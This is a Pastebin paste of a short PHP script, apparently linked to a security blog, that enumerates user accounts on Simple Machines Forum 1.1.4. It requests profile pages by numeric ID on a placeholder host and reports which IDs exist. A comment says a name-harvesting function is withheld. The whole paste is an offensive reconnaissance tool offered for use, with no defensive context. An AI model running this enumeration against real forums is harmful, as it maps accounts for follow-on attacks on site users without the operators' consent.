SHARE
TWEET

smf 1.1.4 user enum

a guest Apr 16th, 2012 114 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/php -q
  2. # smf-user-enum.php
  3. # http://hauntit.blogspot.com/
  4. #
  5. <?php
  6.  
  7. // 'getnames' function will not be public available now
  8.  
  9.         echo "\n.'[ smf 1.1.4 user enum ]'.\n";
  10.  
  11.         for($i = 0; $i < 10; $i++){
  12.                 $xml = file_get_contents('http://yoursmf/index.php?action=profile;u='.$i);
  13.  
  14.                 $tmp = (preg_match("/Summary/i",$xml));
  15.                 if(preg_match("/Summary/i",$xml)){
  16.                         echo "\n[+] Found user : ID=$i";
  17.                         echo ""; //
  18.                 } else {
  19.                         echo "\nnope";
  20.                         }
  21.         }
  22.         echo "\n[+] Done\n";
  23.        
  24.  
  25. ?>
RAW Paste Data
Top